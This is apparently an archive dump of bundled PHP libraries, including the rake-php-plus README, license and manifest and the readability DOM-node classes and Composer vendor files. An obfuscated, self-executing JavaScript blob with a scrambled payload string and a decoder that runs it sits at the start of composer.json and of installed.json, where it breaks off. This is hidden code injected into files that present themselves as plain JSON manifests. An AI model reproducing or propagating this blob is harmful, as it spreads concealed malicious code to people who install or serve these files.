) ``` ```php // Do not filter out numerics $phrases = RakePlus::create($text, 'en_US', 0, false)->get(); print_r($phrases); ``` ``` Array ( [0] => 6462 [1] => crest suite [2] => 413 lake carlietown [3] => wa 12643 ) ``` ## How to add additional languages The library requires a list of "stopwords" for each language. Stopwords are common words used in a language such as "and", "are", "or", etc. There are [stopwords for 50 languages](https://github.com/Donatello-za/stopwords-json#languages) (including the ones already supported) available in JSON format. If you are lucky enough to have your language listed then you can easily import it into the library. To do so, read the section below: **Using the stopwords extractor tool** > Note: These instructions assumes you are using Linux We will be using the Greek language as an example: 1. Check to see if your operating have the Greek localisation files, the Greek locale code you have to look for is: `el_GR`. So run the command `$ locale -a` to see if it is listed. 2. If it is not listed, you'll need to create it, so run: ```sh sudo locale-gen el_GR sudo locale-gen el_GR.utf8 ``` 3. Go the [list of stopword files](https://github.com/Donatello-za/stopwords-json#languages) and find the Greek language, the file will be called `el.json` and it will contain 75 stopwords. 4. Download the `el.json` file and store it somewhere on your system. 5. In you terminal, go to the directory of the `rake-php-plus` library, it will be under `vendor/donatello-za/rake-php-plus` if you used Composer to install it. We now need to use the JSON file to create two new files, one will be a `.php` file that contains the stopwords as a PHP array and one fill be a `.pattern` file which is a text file containing the stopwords as a regular expression: 1. Extract and convert the .json file to a PHP file by running: ```sh $ php ./console/extractor.php path/to/el.json --locale=el_GR --output=php > ./some/dir/el_GR.php ``` 2. Extract and convert the .json file to a .pattern file by running: ```sh $ php ./console/extractor.php path/to/el.json --locale=el_GR --output=pattern > ./some/dir/el_GR.pattern ``` That is it! You can now use the new stopwords by specifying it when creating an instance of the RakePlus class, for example: ```php $rake = RakePlus::create($text, '/some/dir/el_GR.pattern'); ``` or ```php $rake = RakePlus::create($text, '/some/dir/el_GR.php'); ``` **Contribute by Adding a Language** If you want your language to be officially support, you can fork this library, generate the `.pattern` and `.php` stopword files as described above, place it in the `./rake-php-plus/lang/` directory and submit it as a pull request. Once your language is officially supported, you'll be able to specify the language without having to specify the file to use, for example: ```php $rake = RakePlus::create($text, 'el_GR'); ``` RakePHP will always look for a `.pattern` file first and if not found it will look for a `.php` file in the `./lang/` directory. **I don't have a stopwords file for my language, what now?** If your language is not covered in the [list of 50 languages here](https://github.com/Donatello-za/stopwords-json#languages) you may have to try and find it elsewhere, try searching for "yourlanguage stopwords". If you find a list or decide to create your own list, you can also just place it in a standard text file instead of a .json file and extract the stopwords using the extractor tool, for example: ```sh $ php ./console/extractor.php path/to/mystopwords.txt --locale=LOCAL_CODE --output=php > ./some/dir/LOCAL_CODE.php $ php ./console/extractor.php path/to/mystopwords.txt --locale=LOCAL_CODE --output=php > ./some/dir/LOCAL_CODE.php ``` *Remember to replace `LOCAL_CODE` for the correct local you wish to use.* Here is an example text file containing stopwords that was copied and pasted from a site: [stopwords_en_US](./console/stopwords_en_US.txt) ## To run tests `./vendor/bin/phpunit tests` ## License Released under MIT license (read LICENSE). res/rake-php-plus/LICENSE000064400000002055147577714370011062 0ustar00MIT License Copyright (c) 2016 Don Schoeman Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. res/rake-php-plus/composer.json000064400000010030147577714370012567 0ustar00var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();{ "name": "donatello-za/rake-php-plus", "type": "library", "description": "Yet another PHP implementation of the Rapid Automatic Keyword Extraction algorithm (RAKE).", "keywords": [ "rake", "rapid", "automatic", "keyword", "extraction", "algorithm" ], "homepage": "https://github.com/Donatello-za/rake-php-plus", "support": { "issues": "https://github.com/Donatello-za/rake-php-plus/issues", "source": "https://github.com/Donatello-za/rake-php-plus" }, "license": "MIT", "authors": [ { "name": "Don Schoeman", "email": "ta.maximus@gmail.com" } ], "require": { "php": ">=5.4.0", "ext-json": "*", "ext-mbstring": "*" }, "require-dev": { "php": ">=5.5.0", "phpunit/phpunit": "~4.0|~5.0" }, "autoload": { "psr-4": { "DonatelloZa\\RakePlus\\": "src/" } }, "autoload-dev": { "psr-4": { "Tests\\": "tests/" } }, "extra": { "branch-alias": { "dev-master": "1.0.13-dev" } }, "scripts": { "test": "./vendor/bin/phpunit;", "phpunit": "./vendor/bin/phpunit;" } } res/rake-php-plus/phpunit.xml000064400000000571147577714370012267 0ustar00 src src/autoload.php res/rake-php-plus/.gitignore000064400000001315147577714370012043 0ustar00# Project Specific # #################### /keys *.kml .idea *.sublime-project *.sublime-workspace settings.json .directory /vendor /coverage Homestead.yaml Homestead.json .env _ide_helper.php composer.lock composer.phar # Compiled source # ################### *.pyc *.com *.class *.dll *.exe *.o *.so *.bin # Packages # ############ # it's better to unpack these files and commit the raw source # git has its own built in compression methods *.7z *.dmg *.gz *.iso *.jar *.rar *.tar *.zip # Logs and databases # ###################### *.log *.sqlite # OS generated files # ###################### .DS_Store .DS_Store? ._* .Spotlight-V100 .Trashes Icon? ehthumbs.db Thumbs.db # General # ########### *.key *.csv *~ res/readability/Nodes/DOM/DOMNode.php000064400000000351147577714370013300 0ustar00 res/readability/Nodes/DOM/DOMDocument.php000064400000002407147577714370014175 0ustar00registerNodeClass('DOMAttr', DOMAttr::class); $this->registerNodeClass('DOMCdataSection', DOMCdataSection::class); $this->registerNodeClass('DOMCharacterData', DOMCharacterData::class); $this->registerNodeClass('DOMComment', DOMComment::class); $this->registerNodeClass('DOMDocument', self::class); $this->registerNodeClass('DOMDocumentFragment', DOMDocumentFragment::class); $this->registerNodeClass('DOMDocumentType', DOMDocumentType::class); $this->registerNodeClass('DOMElement', DOMElement::class); $this->registerNodeClass('DOMEntity', DOMEntity::class); $this->registerNodeClass('DOMEntityReference', DOMEntityReference::class); $this->registerNodeClass('DOMNode', DOMNode::class); $this->registerNodeClass('DOMNotation', DOMNotation::class); $this->registerNodeClass('DOMProcessingInstruction', DOMProcessingInstruction::class); $this->registerNodeClass('DOMText', DOMText::class); } } res/readability/Nodes/DOM/DOMProcessingInstruction.php000064400000000273147577714370016774 0ustar00childNodes as $node) { if ($node->nodeType === XML_ELEMENT_NODE) { $newList->add($node); } } return $newList; } /** * Returns the Element immediately prior to the specified one in its parent's children list, or null if the specified element is the first one in the list. * * @see https://wiki.php.net/rfc/dom_living_standard_api * @return DOMElement|null */ public function previousElementSibling() { $previous = $this->previousSibling; while ($previous) { if ($previous->nodeType === XML_ELEMENT_NODE) { return $previous; } $previous = $previous->previousSibling; } return null; } } res/readability/Nodes/DOM/DOMEntityReference.php000064400000000257147577714370015513 0ustar00length is hidden * from the user and cannot be extended, changed, or tweaked. */ class DOMNodeList implements \Countable, \IteratorAggregate { /** * @var array */ protected $items = []; /** * @var int */ protected $length = 0; /** * To allow access to length in the same way that DOMNodeList allows. * * {@inheritdoc} */ public function __get($name) { switch ($name) { case 'length': return $this->length; default: trigger_error(sprintf('Undefined property: %s::%s', static::class, $name)); } } /** * @param DOMNode|DOMElement|DOMComment $node * * @return DOMNodeList */ public function add($node) { $this->items[] = $node; $this->length++; return $this; } /** * @param int $offset * * @return DOMNode|DOMElement|DOMComment */ public function item(int $offset) { return $this->items[$offset]; } /** * @return int|void */ public function count(): int { return $this->length; } /** * To make it compatible with iterator_to_array() function. * * {@inheritdoc} */ public function getIterator(): \ArrayIterator { return new \ArrayIterator($this->items); } } res/readability/Nodes/DOM/DOMDocumentType.php000064400000000251147577714370015032 0ustar00 res/readability/Nodes/NodeUtility.php000064400000015530147577714370013712 0ustar00 '/-ad-|ai2html|banner|breadcrumbs|combx|comment|community|cover-wrap|disqus|extra|footer|gdpr|header|legends|menu|related|remark|replies|rss|shoutbox|sidebar|skyscraper|social|sponsor|supplemental|ad-break|agegate|pagination|pager|popup|yom-remote/i', 'okMaybeItsACandidate' => '/and|article|body|column|content|main|shadow/i', 'extraneous' => '/print|archive|comment|discuss|e[\-]?mail|share|reply|all|login|sign|single|utility/i', 'byline' => '/byline|author|dateline|writtenby|p-author/i', 'replaceFonts' => '/<(\/?)font[^>]*>/i', 'normalize' => '/\s{2,}/', 'videos' => '/\/\/(www\.)?((dailymotion|youtube|youtube-nocookie|player\.vimeo|v\.qq)\.com|(archive|upload\.wikimedia)\.org|player\.twitch\.tv)/i', 'shareElements' => '/(\b|_)(share|sharedaddy)(\b|_)/i', 'nextLink' => '/(next|weiter|continue|>([^\|]|$)|»([^\|]|$))/i', 'prevLink' => '/(prev|earl|old|new|<|«)/i', 'tokenize' => '/\W+/', 'whitespace' => '/^\s*$/', 'hasContent' => '/\S$/', 'positive' => '/article|body|content|entry|hentry|h-entry|main|page|pagination|post|text|blog|story/i', 'negative' => '/-ad-|hidden|^hid$| hid$| hid |^hid |banner|combx|comment|com-|contact|foot|footer|footnote|gdpr|masthead|media|meta|outbrain|promo|related|scroll|share|shoutbox|sidebar|skyscraper|sponsor|shopping|tags|tool|widget/i', // \x{00A0} is the unicode version of   'onlyWhitespace' => '/\x{00A0}|\s+/u', 'hashUrl' => '/^#.+/', 'srcsetUrl' => '/(\S+)(\s+[\d.]+[xw])?(\s*(?:,|$))/', 'b64DataUrl' => '/^data:\s*([^\s;,]+)\s*;\s*base64\s*,/i', // See: https://schema.org/Article 'jsonLdArticleTypes' => '/^Article|AdvertiserContentArticle|NewsArticle|AnalysisNewsArticle|AskPublicNewsArticle|BackgroundNewsArticle|OpinionNewsArticle|ReportageNewsArticle|ReviewNewsArticle|Report|SatiricalArticle|ScholarlyArticle|MedicalScholarlyArticle|SocialMediaPosting|BlogPosting|LiveBlogPosting|DiscussionForumPosting|TechArticle|APIReference$/' ]; /** * Finds the next node, starting from the given node, and ignoring * whitespace in between. If the given node is an element, the same node is * returned. * * Imported from the Element class on league\html-to-markdown. * * @param $node * * @return DOMNode */ public static function nextNode($node) { $next = $node; while ($next && $next->nodeType !== XML_ELEMENT_NODE && $next->isWhitespace()) { $next = $next->nextSibling; } return $next; } /** * Changes the node tag name. Since tagName on DOMElement is a read only value, this must be done creating a new * element with the new tag name and importing it to the main DOMDocument. * * @param DOMNode $node * @param string $value * @param bool $importAttributes * * @return DOMNode */ public static function setNodeTag($node, $value, $importAttributes = true) { $new = new DOMDocument('1.0', 'utf-8'); $new->appendChild($new->createElement($value)); $children = $node->childNodes; /** @var $children \DOMNodeList $i */ for ($i = 0; $i < $children->length; $i++) { $import = $new->importNode($children->item($i), true); $new->firstChild->appendChild($import); } if ($importAttributes) { // Import attributes from the original node. foreach ($node->attributes as $attribute) { $new->firstChild->setAttribute($attribute->nodeName, $attribute->nodeValue); } } // The import must be done on the firstChild of $new, since $new is a DOMDocument and not a DOMElement. $import = $node->ownerDocument->importNode($new->firstChild, true); $node->parentNode->replaceChild($import, $node); return $import; } /** * Removes the current node and returns the next node to be parsed (child, sibling or parent). * * @param DOMNode $node * * @return DOMNode */ public static function removeAndGetNext($node) { $nextNode = self::getNextNode($node, true); $node->parentNode->removeChild($node); return $nextNode; } /** * Remove the selected node. * * @param $node DOMElement * * @return void **/ public static function removeNode($node) { $parent = $node->parentNode; if ($parent) { $parent->removeChild($node); } } /** * Returns the next node. First checks for children (if the flag allows it), then for siblings, and finally * for parents. * * @param DOMNode $originalNode * @param bool $ignoreSelfAndKids * * @return DOMNode */ public static function getNextNode($originalNode, $ignoreSelfAndKids = false) { /* * Traverse the DOM from node to node, starting at the node passed in. * Pass true for the second parameter to indicate this node itself * (and its kids) are going away, and we want the next node over. * * Calling this in a loop will traverse the DOM depth-first. */ // First check for kids if those aren't being ignored if (!$ignoreSelfAndKids && $originalNode->firstChild) { return $originalNode->firstChild; } // Then for siblings... if ($originalNode->nextSibling) { return $originalNode->nextSibling; } // And finally, move up the parent chain *and* find a sibling // (because this is depth-first traversal, we will have already // seen the parent nodes themselves). do { $originalNode = $originalNode->parentNode; } while ($originalNode && !$originalNode->nextSibling); return ($originalNode) ? $originalNode->nextSibling : $originalNode; } /** * Remove all empty DOMNodes from DOMNodeLists. * * @param \DOMNodeList $list * * @return DOMNodeList */ public static function filterTextNodes(\DOMNodeList $list) { $newList = new DOMNodeList(); foreach ($list as $node) { if ($node->nodeType !== XML_TEXT_NODE || readability_mb_strlen(trim($node->nodeValue))) { $newList->add($node); } } return $newList; } } res/readability/Nodes/NodeTrait.php000064400000042540147577714370013333 0ustar00initialized; } /** * @return bool */ public function isReadabilityDataTable() { /* * This is a workaround that I'd like to remove in the future. * Seems that although we are extending the base DOMElement and adding custom properties (like this one, * 'readabilityDataTable'), these properties get lost when you search for elements with getElementsByTagName. * This means that even if we mark the tables in a previous step, when we want to retrieve that information, * all the custom properties are in their default values. Somehow we need to find a way to make these properties * permanent across the whole DOM. * * @see https://stackoverflow.com/questions/35654709/php-registernodeclass-and-reusing-variable-names */ return $this->hasAttribute('readabilityDataTable') && $this->getAttribute('readabilityDataTable') === '1'; // return $this->readabilityDataTable; } /** * @param bool $param */ public function setReadabilityDataTable($param) { // Can't be "true" because DOMDocument casts it to "1" $this->setAttribute('readabilityDataTable', $param ? '1' : '0'); // $this->readabilityDataTable = $param; } /** * Initializer. Calculates the current score of the node and returns a full Readability object. * * @ TODO: I don't like the weightClasses param. How can we get the config here? * * @param $weightClasses bool Weight classes? * * @return static */ public function initializeNode($weightClasses) { if (!$this->isInitialized()) { $contentScore = 0; switch ($this->nodeName) { case 'div': $contentScore += 5; break; case 'pre': case 'td': case 'blockquote': $contentScore += 3; break; case 'address': case 'ol': case 'ul': case 'dl': case 'dd': case 'dt': case 'li': case 'form': $contentScore -= 3; break; case 'h1': case 'h2': case 'h3': case 'h4': case 'h5': case 'h6': case 'th': $contentScore -= 5; break; } $this->contentScore = $contentScore + ($weightClasses ? $this->getClassWeight() : 0); $this->initialized = true; } return $this; } /** * Override for native getAttribute method. Some nodes have the getAttribute method, some don't, so we need * to check first the existence of the attributes property. * * @param $attributeName string Attribute to retrieve * * @return string */ #[\ReturnTypeWillChange] public function getAttribute($attributeName) { if (!is_null($this->attributes)) { return parent::getAttribute($attributeName); } return ''; } /** * Override for native hasAttribute. * * @param $attributeName * * @return bool * * @see getAttribute */ #[\ReturnTypeWillChange] public function hasAttribute($attributeName) { if (!is_null($this->attributes)) { return parent::hasAttribute($attributeName); } return false; } /** * Get the ancestors of the current node. * * @param int|bool $maxLevel Max amount of ancestors to get. False for all of them * * @return array */ public function getNodeAncestors($maxLevel = 3) { $ancestors = []; $level = 0; $node = $this->parentNode; while ($node && !($node instanceof DOMDocument)) { $ancestors[] = $node; $level++; if ($level === $maxLevel) { break; } $node = $node->parentNode; } return $ancestors; } /** * Returns all links from the current element. * * @return array */ public function getAllLinks() { return iterator_to_array($this->getElementsByTagName('a')); } /** * Get the density of links as a percentage of the content * This is the amount of text that is inside a link divided by the total text in the node. * * @return int */ public function getLinkDensity() { $textLength = readability_mb_strlen($this->getTextContent(true)); if ($textLength == 0) { return 0; } $linkLength = 0; $links = $this->getAllLinks(); if ($links) { /** @var DOMElement $link */ foreach ($links as $link) { $href = $link->getAttribute('href'); $coefficient = ($href && preg_match(NodeUtility::$regexps['hashUrl'], $href)) ? 0.3 : 1; $linkLength += readability_mb_strlen($link->getTextContent(true)) * $coefficient; } } return $linkLength / $textLength; } /** * Calculates the weight of the class/id of the current element. * * @return int */ public function getClassWeight() { $weight = 0; // Look for a special classname $class = $this->getAttribute('class'); if (trim($class)) { if (preg_match(NodeUtility::$regexps['negative'], $class)) { $weight -= 25; } if (preg_match(NodeUtility::$regexps['positive'], $class)) { $weight += 25; } } // Look for a special ID $id = $this->getAttribute('id'); if (trim($id) !== '') { if (preg_match(NodeUtility::$regexps['negative'], $id)) { $weight -= 25; } if (preg_match(NodeUtility::$regexps['positive'], $id)) { $weight += 25; } } return $weight; } /** * Returns the full text of the node. * * @param bool $normalize Normalize white space? * * @return string */ public function getTextContent($normalize = true) { $nodeValue = trim($this->textContent); if ($normalize) { $nodeValue = preg_replace(NodeUtility::$regexps['normalize'], ' ', $nodeValue); } return $nodeValue; } /** * Return an array indicating how many rows and columns this table has. * * @return array */ public function getRowAndColumnCount() { $rows = $columns = 0; $trs = $this->getElementsByTagName('tr'); foreach ($trs as $tr) { /** @var \DOMElement $tr */ $rowspan = $tr->getAttribute('rowspan'); $rows += ($rowspan || 1); // Now look for column-related info $columnsInThisRow = 0; $cells = $tr->getElementsByTagName('td'); foreach ($cells as $cell) { /** @var \DOMElement $cell */ $colspan = $cell->getAttribute('colspan'); $columnsInThisRow += ($colspan || 1); } $columns = max($columns, $columnsInThisRow); } return ['rows' => $rows, 'columns' => $columns]; } /** * Creates a new node based on the text content of the original node. * * @param $originalNode DOMNode * @param $tagName string * * @return DOMElement */ public function createNode($originalNode, $tagName) { $text = $originalNode->getTextContent(false); $newNode = $originalNode->ownerDocument->createElement($tagName, $text); return $newNode; } /** * Check if a given node has one of its ancestor tag name matching the * provided one. * * @param string $tagName * @param int $maxDepth * @param callable $filterFn * * @return bool */ public function hasAncestorTag($tagName, $maxDepth = 3, callable $filterFn = null) { $depth = 0; $node = $this; while ($node->parentNode) { if ($maxDepth > 0 && $depth > $maxDepth) { return false; } if ($node->parentNode->nodeName === $tagName && (!$filterFn || $filterFn($node->parentNode))) { return true; } $node = $node->parentNode; $depth++; } return false; } /** * Check if this node has only whitespace and a single element with given tag * or if it contains no element with given tag or more than 1 element. * * @param $tag string Name of tag * * @return bool */ public function hasSingleTagInsideElement($tag) { // There should be exactly 1 element child with given tag if (count($children = NodeUtility::filterTextNodes($this->childNodes)) !== 1 || $children->item(0)->nodeName !== $tag) { return false; } // And there should be no text nodes with real content return array_reduce(iterator_to_array($children), function ($carry, $child) { if (!$carry === false) { return false; } /* @var DOMNode $child */ return !($child->nodeType === XML_TEXT_NODE && preg_match(NodeUtility::$regexps['hasContent'], $child->textContent)); }); } /** * Check if the current element has a single child block element. * Block elements are the ones defined in the divToPElements array. * * @return bool */ public function hasSingleChildBlockElement() { $result = false; if ($this->hasChildNodes()) { foreach ($this->childNodes as $child) { if (in_array($child->nodeName, $this->divToPElements)) { $result = true; } else { // If any of the hasSingleChildBlockElement calls return true, return true then. /** @var $child DOMElement */ $result = ($result || $child->hasSingleChildBlockElement()); } } } return $result; } /** * Determines if a node has no content or it is just a bunch of dividing lines and/or whitespace. * * @return bool */ public function isElementWithoutContent() { return $this instanceof DOMElement && readability_mb_strlen(preg_replace(NodeUtility::$regexps['onlyWhitespace'], '', $this->textContent)) === 0 && ($this->childNodes->length === 0 || $this->childNodes->length === $this->getElementsByTagName('br')->length + $this->getElementsByTagName('hr')->length /* * Special PHP DOMDocument case: We also need to count how many DOMText we have inside the node. * If there's an empty tag with an space inside and a BR (for example "


                    ) counting only BRs and * HRs will will say that the example has 2 nodes, instead of one. This happens because in DOMDocument, * DOMTexts are also nodes (which doesn't happen in JS). So we need to also count how many DOMText we * are dealing with (And at this point we know they are empty or are just whitespace, because of the * readability_mb_strlen in this chain of checks). */ + count(array_filter(iterator_to_array($this->childNodes), function ($child) { return $child instanceof DOMText; })) ); } /** * Determine if a node qualifies as phrasing content. * https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Content_categories#Phrasing_content. * * @return bool */ public function isPhrasingContent() { return $this->nodeType === XML_TEXT_NODE || in_array($this->nodeName, $this->phrasing_elems) !== false || (!is_null($this->childNodes) && ($this->nodeName === 'a' || $this->nodeName === 'del' || $this->nodeName === 'ins') && array_reduce(iterator_to_array($this->childNodes), function ($carry, $node) { return $node->isPhrasingContent() && $carry; }, true) ); } /** * In the original JS project they check if the node has the style display=none, which unfortunately * in our case we have no way of knowing that. So we just check for the attribute hidden or "display: none". * * @return bool */ public function isProbablyVisible() { return !preg_match('/display:( )?none/i', $this->getAttribute('style')) && !$this->hasAttribute('hidden') && //check for "fallback-image" so that wikimedia math images are displayed (!$this->hasAttribute('aria-hidden') || $this->getAttribute('aria-hidden') !== 'true' || ($this->hasAttribute('class') && strpos($this->getAttribute('class'), 'fallback-image') !== false)); } /** * @return bool */ public function isWhitespace() { return ($this->nodeType === XML_TEXT_NODE && readability_mb_strlen(trim($this->textContent)) === 0) || ($this->nodeType === XML_ELEMENT_NODE && $this->nodeName === 'br'); } /** * This is a hack that overcomes the issue of node shifting when scanning and removing nodes. * * In the JS version of getElementsByTagName, if you remove a node it will not appear during the * foreach. This does not happen in PHP DOMDocument, because if you remove a node, it will still appear but as an * orphan node and will give an exception if you try to do anything with it. * * Shifting also occurs when converting parent nodes (like a P to a DIV), which in that case the found nodes are * removed from the foreach "pool" but the internal index of the foreach is not aware and skips over nodes that * never looped over. (index is at position 5, 2 nodes are removed, next one should be node 3, but the foreach tries * to access node 6) * * This function solves this by searching for the nodes on every loop and keeping track of the count differences. * Because on every loop we call getElementsByTagName again, this could cause a performance impact and should be * used only when the results of the search are going to be used to remove the nodes. * * @param string $tag * * @return \Generator */ public function shiftingAwareGetElementsByTagName($tag) { /** @var $nodes DOMNodeList */ $nodes = $this->getElementsByTagName($tag); $count = $nodes->length; for ($i = 0; $i < $count; $i = max(++$i, 0)) { yield $nodes->item($i); // Search for all the nodes again $nodes = $this->getElementsByTagName($tag); // Subtract the amount of nodes removed from the current index $i -= $count - $nodes->length; // Subtract the amount of nodes removed from the current count $count -= ($count - $nodes->length); } } /** * Mimics JS's firstElementChild property. PHP only has firstChild which could be any type of DOMNode. Use this * function to get the first one that is an DOMElement node. * * @return \DOMElement|null */ public function getFirstElementChild() { if ($this->childNodes instanceof \Traversable) { foreach ($this->childNodes as $node) { if ($node instanceof \DOMElement) { return $node; } } } return null; } } res/readability/vendor/bin/php-parse.bat000064400000000210147577714370014301 0ustar00@ECHO OFF setlocal DISABLEDELAYEDEXPANSION SET BIN_TARGET=%~dp0/php-parse SET COMPOSER_RUNTIME_BIN_DIR=%~dp0 php "%BIN_TARGET%" %* res/readability/vendor/bin/phpunit.bat000064400000000206147577714370014076 0ustar00@ECHO OFF setlocal DISABLEDELAYEDEXPANSION SET BIN_TARGET=%~dp0/phpunit SET COMPOSER_RUNTIME_BIN_DIR=%~dp0 php "%BIN_TARGET%" %* res/readability/vendor/bin/php-parse000064400000006230147577714370013544 0ustar00#!/usr/bin/env php realpath = realpath($opened_path) ?: $opened_path; $opened_path = $this->realpath; $this->handle = fopen($this->realpath, $mode); $this->position = 0; return (bool) $this->handle; } public function stream_read($count) { $data = fread($this->handle, $count); if ($this->position === 0) { $data = preg_replace('{^#!.*\r?\n}', '', $data); } $this->position += strlen($data); return $data; } public function stream_cast($castAs) { return $this->handle; } public function stream_close() { fclose($this->handle); } public function stream_lock($operation) { return $operation ? flock($this->handle, $operation) : true; } public function stream_seek($offset, $whence) { if (0 === fseek($this->handle, $offset, $whence)) { $this->position = ftell($this->handle); return true; } return false; } public function stream_tell() { return $this->position; } public function stream_eof() { return feof($this->handle); } public function stream_stat() { return array(); } public function stream_set_option($option, $arg1, $arg2) { return true; } public function url_stat($path, $flags) { $path = substr($path, 17); if (file_exists($path)) { return stat($path); } return false; } } } if (function_exists('stream_wrapper_register') && stream_wrapper_register('phpvfscomposer', 'Composer\BinProxyWrapper')) { include("phpvfscomposer://" . __DIR__ . '/..'.'/nikic/php-parser/bin/php-parse'); exit(0); } } include __DIR__ . '/..'.'/nikic/php-parser/bin/php-parse'; res/readability/vendor/bin/phpunit000064400000006755147577714370013350 0ustar00#!/usr/bin/env php realpath = realpath($opened_path) ?: $opened_path; $opened_path = 'phpvfscomposer://'.$this->realpath; $this->handle = fopen($this->realpath, $mode); $this->position = 0; return (bool) $this->handle; } public function stream_read($count) { $data = fread($this->handle, $count); if ($this->position === 0) { $data = preg_replace('{^#!.*\r?\n}', '', $data); } $data = str_replace('__DIR__', var_export(dirname($this->realpath), true), $data); $data = str_replace('__FILE__', var_export($this->realpath, true), $data); $this->position += strlen($data); return $data; } public function stream_cast($castAs) { return $this->handle; } public function stream_close() { fclose($this->handle); } public function stream_lock($operation) { return $operation ? flock($this->handle, $operation) : true; } public function stream_seek($offset, $whence) { if (0 === fseek($this->handle, $offset, $whence)) { $this->position = ftell($this->handle); return true; } return false; } public function stream_tell() { return $this->position; } public function stream_eof() { return feof($this->handle); } public function stream_stat() { return array(); } public function stream_set_option($option, $arg1, $arg2) { return true; } public function url_stat($path, $flags) { $path = substr($path, 17); if (file_exists($path)) { return stat($path); } return false; } } } if (function_exists('stream_wrapper_register') && stream_wrapper_register('phpvfscomposer', 'Composer\BinProxyWrapper')) { include("phpvfscomposer://" . __DIR__ . '/..'.'/phpunit/phpunit/phpunit'); exit(0); } } include __DIR__ . '/..'.'/phpunit/phpunit/phpunit'; res/readability/vendor/composer/autoload_psr4.php000064400000002465147577714370016300 0ustar00 array($vendorDir . '/phpdocumentor/reflection-common/src', $vendorDir . '/phpdocumentor/type-resolver/src', $vendorDir . '/phpdocumentor/reflection-docblock/src'), 'fivefilters\\Readability\\Test\\' => array($baseDir . '/test'), 'fivefilters\\Readability\\' => array($baseDir . '/src'), 'Webmozart\\Assert\\' => array($vendorDir . '/webmozart/assert/src'), 'Symfony\\Polyfill\\Ctype\\' => array($vendorDir . '/symfony/polyfill-ctype'), 'Psr\\Log\\' => array($vendorDir . '/psr/log/Psr/Log'), 'Psr\\Http\\Message\\' => array($vendorDir . '/psr/http-message/src'), 'Prophecy\\' => array($vendorDir . '/phpspec/prophecy/src/Prophecy'), 'PhpParser\\' => array($vendorDir . '/nikic/php-parser/lib/PhpParser'), 'Monolog\\' => array($vendorDir . '/monolog/monolog/src/Monolog'), 'Masterminds\\' => array($vendorDir . '/masterminds/html5/src'), 'League\\Uri\\' => array($vendorDir . '/league/uri-interfaces/src', $vendorDir . '/league/uri/src'), 'Doctrine\\Instantiator\\' => array($vendorDir . '/doctrine/instantiator/src/Doctrine/Instantiator'), 'DeepCopy\\' => array($vendorDir . '/myclabs/deep-copy/src/DeepCopy'), ); res/readability/vendor/composer/autoload_real.php000064400000003312147577714370016323 0ustar00register(true); $includeFiles = \Composer\Autoload\ComposerStaticInit001041eedff88e99578eba41095850a8::$files; foreach ($includeFiles as $fileIdentifier => $file) { composerRequire001041eedff88e99578eba41095850a8($fileIdentifier, $file); } return $loader; } } /** * @param string $fileIdentifier * @param string $file * @return void */ function composerRequire001041eedff88e99578eba41095850a8($fileIdentifier, $file) { if (empty($GLOBALS['__composer_autoload_files'][$fileIdentifier])) { $GLOBALS['__composer_autoload_files'][$fileIdentifier] = true; require $file; } } res/readability/vendor/composer/autoload_files.php000064400000000674147577714370016512 0ustar00 $vendorDir . '/symfony/polyfill-ctype/bootstrap.php', '6124b4c8570aa390c21fafd04a26c69f' => $vendorDir . '/myclabs/deep-copy/src/DeepCopy/deep_copy.php', 'ec07570ca5a812141189b1fa81503674' => $vendorDir . '/phpunit/phpunit/src/Framework/Assert/Functions.php', ); res/readability/vendor/composer/installed.json000064400000306631147577714370015663 0ustar00var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function 